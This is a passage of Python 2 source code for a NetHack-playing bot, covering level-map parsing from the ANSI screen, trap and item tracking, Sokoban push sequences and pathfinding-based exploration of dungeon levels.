square?\n self.boulder = False\n\n\nclass Dungeon:\n def __init__(self):\n self.levels = []\n self.log = open('dungeon.log', 'w')\n def remark(self, s):\n print >> self.log, s\n def get_doom_fork_level(self):\n doom_fork_levels = []\n for level in self.levels:\n if level.level_special == LEVEL_SPECIAL_DOOM_FORK:\n doom_fork_levels.append(level)\n if not doom_fork_levels:\n return None\n if len(doom_fork_levels) == 1:\n return doom_fork_levels[0]\n else:\n self.remark('ERROR: %d levels were annotated as the special doom fork level' % len(doom_fork_levels))\n return None\n\n\nclass LevelMap(Rect):\n def __init__(self, dungeon):\n # define the rectangle within the ansi screen that contains the map\n Rect.__init__(self, 1, 0, 21, 78)\n self.dungeon = dungeon\n self.level_time = None\n self.level_dlvl = None\n self.level_branch = LEVEL_BRANCH_UNKNOWN\n self.level_special = LEVEL_SPECIAL_UNKNOWN\n self.sokoban_name = None\n self.sokoban_queue = None\n self.wall_type = WALL_TYPE_PLAIN\n self.regions = []\n self.region_links = []\n self.level = {}\n self.cached_interesting_locations = set()\n self.cached_neighbor_locations = {}\n self.cached_neighbor_locations_ortho = {}\n # init level squares\n for loc in self.gen_locations():\n square = LevelSquare()\n square.loc = loc\n self.level[loc] = square\n # init cached neighbor locations\n for loc in self.gen_locations():\n self.cached_neighbor_locations[loc] = tuple(self.gen_neighbors(loc))\n self.cached_neighbor_locations_ortho[loc] = tuple(self.gen_manhattan_neighbors(loc))\n\n\n def remark(self, s):\n self.dungeon.remark(s)\n\n def init_sokoban(self, ansi, level_name):\n \"\"\"\n This level has been identified as a sokoban level.\n Initialize the sokoban level name.\n Initialize the queue of boulder pushes that should be executed.\n @param ansi: the ansi map of the level used to calibrate the sokoban push queue\n @param level_name: the name of the sokoban level, e.g. 'level_2b'\n \"\"\"\n # Make sure that this level is not already initialized as a sokoban level.\n assert not self.sokoban_name\n assert not self.sokoban_queue\n # Initialize the name.\n self.sokoban_name = level_name\n # Define wall ascii symbols for the purpose of sokoban level detection.\n sokoban_wall_characters = ('-', '|')\n # Get the set of wall locations on the observed ansi map.\n raw_wall_locations = set()\n for loc in self.level:\n row, col = loc\n ansi_square = ansi.lines[row][col]\n if ansi_square.char in sokoban_wall_characters:\n raw_wall_locations.add(loc)\n # If this function was called there had better be some walls to identify.\n assert raw_wall_locations\n # Get the offset of the left and top walls.\n rmin, cmin, rmax, cmax = get_bounding_coordinates(raw_wall_locations)\n # Get the raw queue of moves for this level.\n raw_push_queue = AscSokoban.load_push_sequence(level_name)\n # Convert the queue of moves to account for the position of sokoban within the screen.\n self.sokoban_queue = []\n for player_row, player_col, boulder_row, boulder_col in raw_push_queue:\n args = (player_row + rmin, player_col + cmin, boulder_row + rmin, boulder_col + cmin)\n self.sokoban_queue.append(args)\n # Get the map representing the level so we can place the traps and boulders.\n sokomaps = []\n for sokoban_level_string, sokoban_level_name in AscSokoban.all_level_strings_and_names:\n if level_name == sokoban_level_name:\n sokomap = AscSokoban.sokoban_string_to_map(sokoban_level_string)\n sokomaps.append(sokomap)\n assert len(sokomaps) == 1\n sokomap = sokomaps[0]\n # Place the traps on the level.\n for loc, c in sokomap.items():\n if c == '^':\n row, col = loc\n trap_location = (row + rmin, col + cmin)\n self.level[trap_location].trap = TRAP_OTHER\n # Place the boulders on the level.\n for loc, c in sokomap.items():\n if c == '0':\n row, col = loc\n boulder_location = (row + rmin, col + cmin)\n self.level[boulder_location].boulder = True\n\n def get_sokoban_push_delta(self, current_player_location):\n \"\"\"\n If we are in sokoban positioned next to a boulder that we are supposed to push then go for it.\n @return: a cardinal delta pair or None\n \"\"\"\n # If we are not in sokoban then do not push a boulder.\n if self.level_branch != LEVEL_BRANCH_SOKOBAN:\n return None\n # If the sokoban puzzle has already been completed on this level then do not push a boulder.\n if not self.sokoban_queue:\n return None\n # Find the target square.\n player_row, player_col, boulder_row, boulder_col = self.sokoban_queue[0]\n target_player_location = (player_row, player_col)\n # If we are not on the target square then we cannot push the boulder.\n if current_player_location != target_player_location:\n return None\n # Calculate the direction to push it.\n drow = boulder_row - player_row\n dcol = boulder_col - player_col\n delta = (drow, dcol)\n return delta\n\n def identify_embedded(self, ansi, target_location):\n \"\"\"\n @param target_location: this is the square containing the embedded object\n \"\"\"\n # Pretend the target square is a wall.\n # This may be true but it could also be a door.\n row, col = target_location\n ansi_square = ansi.lines[row][col]\n level_square = self.level[target_location]\n level_square.hard = HM_WALL\n # Recognize that there is something shiny in the wall.\n level_square.item = ItemHistory(ansi_square)\n # Pretend we have already explored it so that it is no longer interesting.\n # This is true in the sense that we explored it with a semicolon.\n level_square.item.set_explored()\n\n def identify_trap(self, trap_location, trap_name):\n # TODO actually use the trap name\n self.remark('trap identification at %s' % str(trap_location))\n square = self.level[trap_location]\n if square.trap == TRAP_UNKNOWN:\n self.remark('identified trap {%s} at %s' % (trap_name, str(trap_location)))\n square.trap = TRAP_OTHER\n else:\n self.remark('trap {%s} at %s was already identified' % (trap_name, str(trap_location)))\n\n def add_missile(self, location):\n \"\"\"\n Arrow traps and dart traps may leave missiles on the ground.\n Change the item history of the location in this case.\n Arrows and darts are cyan and are represented by the ')' character.\n \"\"\"\n ansi_square = AnsiSquare()\n ansi_square.foreground = 36\n ansi_square.char = ')'\n self.level[location].item = ItemHistory(ansi_square)\n\n def add_rock(self, location):\n \"\"\"\n Falling rock traps may leave rocks on the ground.\n Change the item history of the location in this case.\n Rocks are the default foreground color and are represented by the '*' character.\n \"\"\"\n ansi_square = AnsiSquare()\n ansi_square.char = '*'\n self.level[location].item = ItemHistory(ansi_square)\n\n def gen_unidentified_trap_locations(self, ansi):\n for loc, level_square in self.level.items():\n row, col = loc\n ansi_square = ansi.lines[row][col]\n if ansi_square.char == '^':\n if level_square.trap == TRAP_UNKNOWN:\n yield loc\n\n def gen_unidentified_remote_trap_locations(self, ansi):\n cursor_location = (ansi.row, ansi.col)\n for loc in self.gen_unidentified_trap_locations(ansi):\n if distLinf(cursor_location, loc) > 1:\n yield loc\n\n\n def explore_stairway(self):\n \"\"\"\n Look for a stairway on the current level that is one of the following:\n 1) unconfirmed\n 2) unassociated with a region\n 3) has an associated region with no target_region\n Once such a stairway has been found, return the location and best command to get there.\n The command may be to follow a staircase if the player is standing on it.\n Return None if no such staircase exists or can be reached.\n \"\"\"\n player_region = self.get_player_region()\n target_locations = set()\n location_to_stair_region = dict((r.location, r) for r in self.regions if r.region_type in (REGION_UP, REGION_DOWN))\n # Look for regions on this level that do not have known targets.\n # If we are standing on such a stair then follow it.\n for location, region in location_to_stair_region.items():\n if not (region.region_type == REGION_UP and region.level.level_special == LEVEL_SPECIAL_TOP):\n if region.target_region is None:\n if player_region.location == location:\n if region.region_type == REGION_UP:\n self.remark('ascending a staircase to see where it goes')\n return '<'\n else:\n self.remark('descending a staircase to see where it goes')\n return '>'\n else:\n target_locations.add(location)\n # Look for unconfirmed staircases.\n # If we are standing on unconfirmed stairs then look at the ground.\n # Look for confirmed stairs that are not associated with a region.\n for location, square in self.level.items():\n if square.hard in (HM_UP_UNCONFIRMED, HM_DOWN_UNCONFIRMED):\n if player_region.location == location:\n self.remark('examining an unconfirmed staircase')\n return ':'\n else:\n target_locations.add(location)\n elif square.hard in (HM_UP_CONFIRMED, HM_DOWN_CONFIRMED):\n if location not in location_to_stair_region:\n target_locations.add(location)\n # If we found no target locations then return None\n if not target_locations:\n self.remark('no interesting staircases were found')\n return None\n # Return the first step of the shortest path to a target if any path exists.\n target_set = set(target_locations)\n command = None\n # Try two levels of safety for the pathing.\n for safety, taboo_set in (('safely', self.cached_scary_locations), ('unsafely', self.cached_untouchable_locations)):\n loc_to_dist = self.get_location_evaluations(target_set, taboo_set)\n command = self.distances_to_command(player_region.location, loc_to_dist)\n if command:\n self.remark('moving %s across the level towards a staircase to explore' % safety)\n return command\n self.remark('no path or no non-suicidal path to an interesting staircase was found')\n return None\n\n def explore_travel(self):\n \"\"\"\n Find the shallowest connected and unexplored region.\n If no such region can be found then return None.\n If the current level is unexplored and has the same dlvl as the found region then return None.\n Otherwise return a command to go towards the region.\n The command may be to follow a staircase if the player is standing on it.\n \"\"\"\n player_region = self.get_player_region()\n best_neighbor_region = player_region.get_best_neighbor_region()\n if not best_neighbor_region:\n self.remark('no better level was found')\n return None\n # If the regions have the same location then follow the portal of the neighbor.\n if player_region.location == best_neighbor_region.location:\n if best_neighbor_region.region_type == REGION_UP:\n self.remark('going up a staircase seeking a better level')\n return '<'\n elif best_neighbor_region.region_type == REGION_DOWN:\n self.remark('going down a staircase seeking a better level')\n return '>'\n else:\n self.remark('inappropriate region type of the best neighbor: %d' % best_neighbor_region.region_type)\n return None\n # If the regions are on the same level then move towards the neighbor location.\n if player_region.level is best_neighbor_region.level:\n target_set = set([best_neighbor_region.location])\n # Try two levels of safety for the pathing.\n for safety, taboo_set in (('safely', self.cached_scary_locations), ('unsafely', self.cached_untouchable_locations)):\n loc_to_dist = self.get_location_evaluations(target_set, taboo_set)\n command = self.distances_to_command(player_region.location, loc_to_dist)\n if command:\n self.remark('traveling %s across the map to a better region' % safety)\n return command\n self.remark('no path or no non-suicidal path to a better region was found')\n return None\n self.remark('the best neighbor region appears not to be a neighbor')\n return None\n\n def explore_square(self):\n \"\"\"\n Find the closest connected interesting square on the level.\n If there is no such square then return None.\n \"\"\"\n player_region = self.get_player_region()\n target_set = self.cached_interesting_locations\n # Try two levels of safety for the pathing.\n for safety, taboo_set in (('safely', self.cached_scary_locations), ('unsafely', self.cached_untouchable_locations)):\n loc_to_dist = self.get_location_evaluations(target_set, taboo_set)\n command = self.distances_to_command(player_region.location, loc_to_dist)\n if command:\n self.remark('traveling %s across the map to an unexplored square' % safety)\n return command\n self.remark('no path or no non-suicidal path to an unexplored square was found')\n return None\n\n def explore_travel_desperate(self):\n \"\"\"\n Go towards a room that must be searched in desperation.\n \"\"\"\n player_region = self.get_player_region()\n best_neighbor_region = player_region.get_best_neighbor_region_desperate()\n if not best_neighbor_region:\n self.remark('no better level was found')\n return None\n # If the regions have the same location then follow the portal of the neighbor.\n if player_region.location == best_neighbor_region.location:\n if best_neighbor_region.region_type == REGION_UP:\n self.remark('going up a staircase desperately seeking a better level')\n return '<'\n elif best_neighbor_region.region_type == REGION_DOWN:\n self.remark('going down a staircase desperately seeking a better level')\n return '>'\n else:\n self.remark('inappropriate region type of the best neighbor: %d' % best_neighbor_region.region_type)\n return None\n # If the regions are on the same level then move towards the neighbor location.\n if player_region.level is best_neighbor_region.level:\n target_set = set([best_neighbor_region.location])\n # Try two levels of safety for the pathing.\n for safety, taboo_set in (('safely', self.cached_scary_locations), ('unsafely', self.cached_untouchable_locations)):\n loc_to_dist = self.get_location_evaluations(target_set, taboo_set)\n command = self.distances_to_command(player_region.location, loc_to_dist)\n if command:\n self.remark('traveling and %s across the map to a better region' % safety)\n return command\n self.remark('no path or no non-suicidal path to a better region was found')\n return None\n self.remark('the best neighbor region appears not to be a neighbor')\n return None\n\n def explore_square_desperate(self):\n \"\"\"\n There is nothing to do but to search desperately for a secret door.\n \"\"\"\n # Get the set of wall locations that are good for searching.\n wall_search = WallSearch(self)\n good_wall_locations = wall_search.good_wall_locations\n if not good_wall_locations:\n self.remark('no squares with potential secret doors were found')\n return None\n self.remark('%d wall squares might have secret doors' % len(good_wall_locations))\n # Narrow down this set by removing those locations that have been thoroughly searched.\n filtered_wall_locations = set()\n for wall_location in good_wall_locations:\n wall_square = self.level[wall_location]\n if wall_square.search_count_to < 18:\n filtered_wall_locations.add(wall_location)\n if not good_wall_locations:\n self.remark('all of the squares with potential secret doors have been thoroughly searched')\n return None\n self.remark('%d walls with potential secret doors have not been thoroughly searched' % len(filtered_wall_locations))\n # Get the locations adjacent to the remaining walls.\n target_set = set()\n for wall_location in filtered_wall_locations:\n for neighbor in self.cached_neighbor_locations[wall_location]:\n target_set.add(neighbor)\n # Find the player location.\n player_region = self.get_player_region()\n # See if we are already there.\n if player_region.location in target_set:\n self.remark('we are at a good square to search desperately for a secret door')\n return None\n # Try two levels of safety for the pathing.\n for safety, taboo_set in (('safely', self.cached_scary_locations), ('unsafely', self.cached_untouchable_locations)):\n loc_to_dist = self.get_location_evaluations(target_set, taboo_set)\n command = self.distances_to_command(player_region.location, loc_to_dist)\n if command:\n self.remark('traveling %s across the map to a square to search desperately' % safety)\n return command\n self.remark('no path or no non-suicidal path to square to search desperately was found')\n return None\n\n def distances_to_command(self, location, loc_to_dist):\n \"\"\"\n Given the location of the player and costs of various squares,\n return the command that moves the player towards the lowest cost square.\n Return None if there is no path.\n \"\"\"\n row, col = location\n deltas = [(x, y) for x in (-1, 0, 1) for y in (-1, 0, 1) if (x, y) != (0, 0)]\n ortho_deltas = [(0, 1), (0, -1), (1, 0), (-1, 0)]\n dist_delta_pairs = []\n for delta in deltas:\n drow, dcol = delta\n nloc = (row+drow, col+dcol)\n if self.is_inbounds(nloc):\n if self.is_passable(location, nloc):\n if nloc in loc_to_dist:\n dist_delta_pairs.append((loc_to_dist[nloc], delta))\n if dist_delta_pairs:\n # find the best distance\n best_dist, best_delta = min(dist_delta_pairs)\n # find all deltas that are as good as the best delta\n best_deltas = [delta for dist, delta in dist_delta_pairs if dist == best_dist]\n # of these pick an ortho move if possible\n best_ortho_deltas = [delta for delta in best_deltas if delta in ortho_deltas]\n # return a somewhat randomized choice\n if best_ortho_deltas:\n selected_delta = random.choice(best_ortho_deltas)\n else:\n selected_delta = random.choice(best_deltas)\n delta_to_vi = dict((delta, vi) for (vi, delta) in vi_delta_pairs)\n return delta_to_vi[selected_delta]\n else:\n return None\n\n def get_player_region(self):\n player_regions = [region for region in self.regions if region.region_type == REGION_PLAYER]\n if not player_regions:\n return None\n assert len(player_regions) < 2\n return player_regions[0]\n\n def cache_scary_locations(self):\n player_region = self.get_player_region()\n self.cached_scary_locations = self.get_scary_locations() - set([player_region.location])\n\n def cache_untouchable_locations(self):\n player_region = self.get_player_region()\n self.cached_untouchable_locations = self.get_untouchable_locations() - set([player_region.location])\n\n def cache_passable_neighbor_locations(self):\n empty_states = (HM_OPEN, HM_FLOOR, HM_OCCUPIABLE, HM_ALTAR, HM_UP_CONFIRMED, HM_DOWN_CONFIRMED, HM_UP_UNCONFIRMED, HM_DOWN_UNCONFIRMED)\n for location, square in self.level.items():\n # clear the current cache value at this square\n square.passable_neighbor_locations = []\n # see if the location itself is even accessible\n if square.hard not in empty_states:\n continue\n for neighbor in self.cached_neighbor_locations[location]:\n # see if the neighbor is accessible\n neighbor_square = self.level[neighbor]\n if neighbor_square.hard not in empty_states:\n continue\n # see if the path between the neighbors is allowed\n if self.is_passable(location, neighbor):\n square.passable_neighbor_locations.append(neighbor)\n\n def process_incoming(self, ansi, player_status):\n \"\"\"\n Look at the map and update what we know about the level.\n The cursor should be on the player tile.\n \"\"\"\n cursor_location = (ansi.row, ansi.col)\n # look at the features of the map if we are not blind\n if not player_status.blind:\n self.update_hardmap(ansi)\n # cache the passable neighbor locations of each square\n self.cache_passable_neighbor_locations()\n # look for traps\n self.update_traps(ansi)\n # update the monster and item status on the map\n # it is still useful if blind or hallu\n self.update_softmap(ansi, player_status)\n # mark our presence on a square\n self.level[cursor_location].trod = True\n # update the regions in the level\n self.update_regions(cursor_location)\n # cache squares that we would rather not visit\n self.cache_scary_locations()\n self.cache_untouchable_locations()\n # update the connections between regions\n self.update_region_links()\n # cache the set of interesting locations\n self.cached_interesting_locations = self.get_interesting_locations()\n # update the exploration status of each region\n self.update_region_exploration_levels()\n # update our knowledge of the level type\n self.update_level_type(ansi)\n\n def update_level_type(self, ansi):\n \"\"\"\n Look at the map to see if that helps us to decide which level type we are on.\n \"\"\"\n # get level identification information from the pattern of the wall glyphs\n if self.wall_type == WALL_TYPE_PLAIN:\n if AscDetect.detect_cavern_walls(self, ansi):\n self.wall_type = WALL_TYPE_CAVERN\n if self.level_branch == LEVEL_BRANCH_UNKNOWN:\n self.level_branch = LEVEL_BRANCH_MINES\n self.remark('marked the current level as belonging to the mines branch')\n # get level identification information from the presence of a door\n if AscDetect.detect_doors(self, ansi):\n if self.level_branch == LEVEL_BRANCH_MINES:\n if self.level_special == LEVEL_SPECIAL_UNKNOWN:\n self.level_special = LEVEL_SPECIAL_MINETOWN\n self.remark('marked the current level as minetown')\n elif self.level_branch == LEVEL_BRANCH_UNKNOWN:\n self.level_branch = LEVEL_BRANCH_DOOM\n self.remark('marked the current level as belonging to the dungeons of doom branch')\n # get level identification information from the number of stairs\n down_regions = [r for r in self.regions if r.region_type == REGION_DOWN]\n if len(down_regions) == 2:\n # This level must be where the mines split from the dungeon of doom.\n # Assert various level properties.\n if self.level_branch == LEVEL_BRANCH_MINES:\n self.remark('WARNING: found two down regions in the mines' % len(down_regions))\n if self.level_dlvl not in (2, 3, 4):\n self.remark('WARNING: found two down regions on dlvl %d' % self.level_dlvl)\n if self.level_special not in (LEVEL_SPECIAL_UNKNOWN, LEVEL_SPECIAL_DOOM_FORK):\n self.remark('WARNING: found two down regions in special level %d' % self.level_special)\n # Set this level to the doom fork.\n if self.level_special != LEVEL_SPECIAL_DOOM_FORK:\n self.remark('marked the current level as the level at which the dungeon of doom and the mines split')\n self.level_branch = LEVEL_BRANCH_DOOM\n self.level_special = LEVEL_SPECIAL_DOOM_FORK\n elif len(down_regions) > 2:\n self.remark('WARNING: There are too many down regions: %d' % len(down_regions))\n\n def update_region_exploration_levels(self):\n \"\"\"\n Find the exploration level associated with each region.\n This is done without regard to the danger of the path.\n \"\"\"\n # Clear the exploration levels.\n for region in self.regions:\n region.exploration_level = EXP_UNKNOWN\n region.exploration_danger_level = DANGER_UNKNOWN\n # Try to go to squares that might give exploration information.\n interesting_locations = self.cached_interesting_locations\n # First look at exploration that can be done without suicidal danger.\n taboo_set = self.cached_untouchable_locations\n loc_to_dist = self.get_location_evaluations(interesting_locations, taboo_set)\n for region in self.regions:\n if region.location in loc_to_dist:\n region.exploration_level = EXP_UNEXPLORED\n region.exploration_danger_level = DANGER_SAFE\n # If all of the regions are unexplored and safe then we are done.\n if len([r for r in self.regions if r.exploration_danger_level == DANGER_SAFE]) == len(self.regions):\n return\n # For the remaining regions try a more dangerous search.\n taboo_set = set()\n loc_to_dist = self.get_location_evaluations(interesting_locations, taboo_set)\n for region in self.regions:\n if region.exploration_level == EXP_UNKNOWN:\n if region.location in loc_to_dist:\n region.exploration_level = EXP_UNEXPLORED\n region.exploration_danger_level = DANGER_SUICIDAL\n # Any region that still lacks access to a square of interest is explored.\n for region in self.regions:\n if region.exploration_level == EXP_UNKNOWN:\n region.exploration_level = EXP_EXPLORED\n\n\n def update_region_links(self):\n \"\"\"\n Find a path associated with each pair of regions.\n This is without regard to the danger of the path.\n Transitivity of links is assumed.\n Note that this transitivity helps speed but loses distance information.\n \"\"\"\n self.region_links = []\n # add links of unknown danger level\n linked_regions = []\n for region in self.regions:\n # don't bother finding links to the sole unlinked region;\n # according to transitivity it is not linked to anything.\n if len(self.regions) == len(linked_regions) + 1:\n break\n # don't find links to a region that is already linked;\n # these links have been taken care of by transitivity\n if region in linked_regions:\n continue\n # find a clump of transitively linked regions\n contiguous_regions = []\n interesting_locations = set([region.location])\n taboo_locations = set()\n loc_to_dist = self.get_location_evaluations(interesting_locations, taboo_locations)\n for target in self.regions:\n if target.location in loc_to_dist:\n contiguous_regions.append(target)\n # link all of the regions in the clump to each other\n for r1 in contiguous_regions:\n for r2 in contiguous_regions:\n if r1 is not r2:\n link = RegionLink()\n link.danger_level = DANGER_UNKNOWN\n link.distance = 10\n link.region_pair = (r1, r2)\n self.region_links.append(link)\n # extend the linked_regions to include the contiguous_regions\n linked_regions.extend(contiguous_regions)\n # see which links that include the player region are safe\n player_region = self.get_player_region()\n interesting_locations = set([player_region.location])\n taboo_locations = self.cached_untouchable_locations\n loc_to_dist = self.get_location_evaluations(interesting_locations, taboo_locations)\n for region in self.regions:\n if region is player_region:\n continue\n if region.location in loc_to_dist:\n for link in self.region_links:\n r1, r2 = link.region_pair\n if (r1 is player_region and r2 is region) or (r1 is region and r2 is player_region):\n link.danger_level = DANGER_SAFE\n # links that include the player region and that haven't been marked safe are unsafe\n for link in self.region_links:\n if player_region in link.region_pair:\n if link.danger_level == DANGER_UNKNOWN:\n link.danger_level = DANGER_SUICIDAL\n # print the links for debugging\n self.remark(('region ids on dlvl %d: ' % self.level_dlvl) + ' '.join(str(id(region)) for region in self.regions))\n self.remark('links:')\n for link in self.region_links:\n self.remark(str(link))\n\n def update_regions(self, cursor_location):\n \"\"\"\n This updates all of the portal regions in a level and the player region.\n Portal regions and player regions may be added here.\n Portal regions are never deleted.\n Player regions are deleted when the player leaves the level, but that is not done here.\n The target_region of each region is set when a player changes level, but that is not done here.\n \"\"\"\n self.remark('updating regions on dlvl %d' % self.level_dlvl)\n # Portal squares are not mutable, so assert that old non-player regions are still valid.\n for region in self.regions:\n hardmap = self.level[region.location].hard\n fails = False\n if region.region_type == REGION_UP and hardmap != HM_UP_CONFIRMED:\n fails = True\n if region.region_type == REGION_DOWN and hardmap != HM_DOWN_CONFIRMED:\n fails = True\n if fails:\n self.remark('ERROR: the following region is located at hardmap symbol %d:' % hardmap)\n self.remark(str(region))\n # Identify new portal regions.\n old_up_regions = [region for region in self.regions if region.region_type == REGION_UP]\n old_down_regions = [region for region in self.regions if region.region_type == REGION_DOWN]\n new_locations_and_types = []\n for location, square in self.level.items():\n if square.hard == HM_UP_CONFIRMED:\n if location not in [region.location for region in old_up_regions]:\n self.remark('creating a new REGION_UP in update_regions at location %s' % str(location))\n new_locations_and_types.append((location, REGION_UP))\n elif square.hard == HM_DOWN_CONFIRMED:\n if location not in [region.location for region in old_down_regions]:\n self.remark('creating a new REGION_DOWN in update_regions at location %s' % str(location))\n new_locations_and_types.append((location, REGION_DOWN))\n for location, region_type in new_locations_and_types:\n region = Region()\n region.location = location\n region.level = self\n region.region_type = region_type\n region.target_region = None\n region.exploration_level = EXP_UNKNOWN\n region.exploration_danger_level = DANGER_UNKNOWN\n self.regions.append(region)\n # Find the player region, or create it if it does not exist.\n player_region = self.get_player_region()\n if not player_region:\n player_region = Region()\n player_region.level = self\n player_region.region_type = REGION_PLAYER\n player_region.target_region = None\n player_region.exploration_level = EXP_UNKNOWN\n player_region.exploration_danger_level = DANGER_UNKNOWN\n self.regions.append(player_region)\n # Update the player region with the current location.\n player_region.location = cursor_location\n\n def update_traps(self, ansi):\n for loc, level_square in self.level.items():\n # if you can see one of these characters,\n # then if you have stepped on the square we will say there is no trap.\n row, col = loc\n ansi_square = ansi.lines[row][col]\n if ansi_square.char in '.#{<>_':\n if level_square.trod and level_square.trap == TRAP_UNKNOWN:\n level_square.trap = TRAP_NONE\n\n def update_hardmap(self, ansi):\n cursor_location = (ansi.row, ansi.col)\n # Process all locations including the player's location and neighboring locations.\n for loc, level_square in self.level.items():\n row, col = loc\n ansi_square = ansi.lines[row][col]\n value = None\n if ansi_square.char == ' ':\n pass\n elif ansi_square.char == '.':\n if ansi_square.foreground:\n value = HM_OPEN\n else:\n value = HM_FLOOR\n elif ansi_square.char == '{':\n value = HM_FLOOR\n elif ansi_square.char == '#':\n if ansi_square.foreground in (0, 37):\n value = HM_FLOOR\n else:\n value = HM_MISC_OBSTACLE\n elif ansi_square.char in 'IX':\n # These monsters might be in walls.\n pass\n elif ansi_square.char == '_':\n value = HM_ALTAR\n elif ansi_square.char == '<':\n # This might be a mimic\n if level_square.hard != HM_UP_CONFIRMED:\n value = HM_UP_UNCONFIRMED\n elif ansi_square.char == '>':\n # This might be a mimic\n if level_square.hard != HM_DOWN_CONFIRMED:\n value = HM_DOWN_UNCONFIRMED\n elif ansi_square.char in '|-':\n value = HM_WALL\n elif ansi_square.char == ']' and ansi_square.foreground == 33:\n # This might be a mimic\n # If the door is known to be unlocked or locked then don't change the state\n if level_square.hard not in (HM_LOCKED, HM_UNLOCKED):\n value = HM_CLOSED\n elif ansi_square.char == '}':\n if ansi_square.foreground == 31:\n value = HM_LAVA\n elif ansi_square.foreground == 34:\n value = HM_WATER\n else:\n # Assume that any other item means an unknown square is occupiable.\n # This includes monsters and items.\n if level_square.hard == HM_UNKNOWN:\n value = HM_OCCUPIABLE\n if value is not None:\n level_square.hard = value\n # Now deal with boulders on dungeon branches other than sokoban.\n if self.level_branch != LEVEL_BRANCH_SOKOBAN:\n level_square.boulder = (ansi_square.char == '0')\n # Reprocess locations adjacent to the player.\n neighbor_count = 0\n mapped_neighbor_count = 0\n for loc in self.cached_neighbor_locations[cursor_location]:\n neighbor_count += 1\n row, col = loc\n ansi_square = ansi.lines[row][col]\n level_square = self.level[loc]\n if ansi_square.char == ' ':\n if level_square.hard == HM_UNKNOWN:\n if not level_square.boulder:\n level_square.hard = HM_WALL\n mapped_neighbor_count += 1\n #self.remark('player location: %s (%d)' % (str(ansi.get_location()), self.level[ansi.get_location()].hard))\n #self.remark('%d of %d neighbors were marked as invisible walls' % (mapped_neighbor_count, neighbor_count))\n\n def update_softmap(self, ansi, player_status):\n \"\"\"\n Update the item and monster states.\n This function may be called while blind (to detect \"I\" monsters).\n\n ) A weapon of some sort.\n [ A suit or piece of armor.\n % Something edible (not necessarily healthy).\n / A wand.\n = A ring.\n ? A scroll.\n ! A potion.\n ( Some other useful object (pick-axe, key, lamp...)\n $ A pile of gold.\n * A gem or rock (possibly valuable, possibly worthless).\n + A closed door, or a spellbook\n \" An amulet.\n \"\"\"\n item_symbols = ')[%/=?!($*+\"'\n special_monster_symbols = \":;&@'\"\n cursor_location = (ansi.row, ansi.col)\n # Update the monster history at all locations including the player's location and neighboring locations.\n for loc, level_square in self.level.items():\n row, col = loc\n ansi_square = ansi.lines[row][col]\n if ansi_square.char.isalpha() or ansi_square.char in special_monster_symbols:\n if level_square.monster and level_square.monster.ansi_square == ansi_square:\n # if the square confirms the existing monster then update the monster history\n level_square.monster.update(self.level_time)\n else:\n # if the monster is new then replace the monster history\n level_square.monster = MonsterHistory(self.level_time, ansi_square)\n # Update the item history at all locations including the player's location and neighboring locations.\n if (not player_status.blind) and (not player_status.hallu):\n for loc, level_square in self.level.items():\n row, col = loc\n ansi_square = ansi.lines[row][col]\n if (not level_square.boulder) and (not ansi_square.char.isalpha()) and (not ansi_square.char in special_monster_symbols):\n # if there is no monster and we know what we are looking for and there is no boulder on the square then update the item history\n if ansi_square.char in item_symbols:\n if level_square.item and level_square.item.ansi_square == ansi_square:\n # if the square already has the known item on it then it is boring\n pass\n else:\n # if the square appears to have a new or different item then it is interesting\n level_square.item = ItemHistory(ansi_square)\n else:\n level_square.item = None\n # Clear the monster history of the player's location.\n # Mark the item at the player's location as explored.\n player_square = self.level[cursor_location]\n player_square.monster = None\n if player_square.item:\n player_square.item.set_explored()\n # Clear the monster history at adjacent squares if no monster is observed.\n for loc in self.cached_neighbor_locations[cursor_location]:\n row, col = loc\n ansi_square = ansi.lines[row][col]\n if not (ansi_square.char.isalpha() or ansi_square.char in special_monster_symbols):\n self.level[loc].monster = None\n\n def is_dead_end(self, loc):\n \"\"\"\n Dead ends are common places to find secret doors.\n After exploring a level it might be useful to search for secret doors.\n \"\"\"\n if self.level[loc].hard in (HM_FLOOR, HM_OCCUPIABLE, HM_OPEN):\n wallcount = 0\n ortho_locations = set(self.cached_neighbor_locations_ortho[loc])\n for nloc in ortho_locations:\n if self.level[nloc].hard == HM_WALL:\n wallcount += 1\n if wallcount == len(ortho_locations) - 1:\n return True\n return False\n\n def get_untouchable_locations(self):\n \"\"\"\n Moving onto these squares is a fatal mistake.\n Such a mistake could include angering a shopkeeper or watchman.\n Going into a store will probably get you trapped inside.\n Falling through holes in sokoban will cause a loop.\n \"\"\"\n # TODO improve dealing with shopkeepers\n # so the bot can enter a store without getting trapped.\n untouchable_set = set()\n for loc, square in self.level.items():\n monster = square.monster\n if monster:\n if monster.expect_presence(self.level_time):\n if monster.is_untouchable():\n untouchable_set.add(loc)\n if square.store in (GM_ENTRANCE, GM_STORE):\n untouchable_set.add(loc)\n # force traps to be untouchable in sokoban\n if self.level_branch == LEVEL_BRANCH_SOKOBAN:\n for loc, square in self.level.items():\n if square.trap not in (TRAP_NONE, TRAP_UNKNOWN):\n untouchable_set.add(loc)\n return untouchable_set\n\n def get_scary_locations(self):\n \"\"\"\n These locations are dangerous.\n They may be traversed when no alternative is available unless they are also untouchable.\n This set is a superset of untouchable locations.\n \"\"\"\n scary_set = self.get_untouchable_locations()\n for loc, square in self.level.items():\n monster = square.monster\n if square.store in (GM_ENTRANCE, GM_STORE):\n scary_set.add(loc)\n elif square.trap not in (TRAP_NONE, TRAP_UNKNOWN):\n scary_set.add(loc)\n elif monster and monster.expect_presence(self.level_time):\n if monster.is_pet():\n # Path through pets.\n pass\n elif monster.is_scary(self):\n # Avoid pathing through or near a scary monster.\n scary_set.add(loc)\n for nloc in self.cached_neighbor_locations[loc]:\n scary_set.add(nloc)\n else:\n # Avoid pathing through a monster even if it is not scary.\n scary_set.add(loc)\n return scary_set\n\n def get_interesting_locations(self):\n \"\"\"\n Reachable known squares next to closed or unlocked doors are interesting.\n Reachable known squares next to an unknown square not obscured by a boulder are interesting.\n Creature information is not taken into account here.\n An untrodden open door is always interesting because it might give a store message.\n An unexplored item square is interesting.\n In sokoban the square in front of the next boulder to push is interesting.\n \"\"\"\n empty_states = (HM_OPEN, HM_FLOOR, HM_OCCUPIABLE, HM_ALTAR, HM_UP_CONFIRMED, HM_DOWN_CONFIRMED, HM_UP_UNCONFIRMED, HM_DOWN_UNCONFIRMED)\n interesting_set = set()\n for loc, square in self.level.items():\n if square.boulder:\n continue\n if square.hard not in empty_states:\n continue\n if (square.hard == HM_OPEN) and (not square.trod):\n interesting_set.add(loc)\n continue\n if square.item and (not square.item.is_explored()):\n interesting_set.add(loc)\n found_frontier = False\n for nloc in 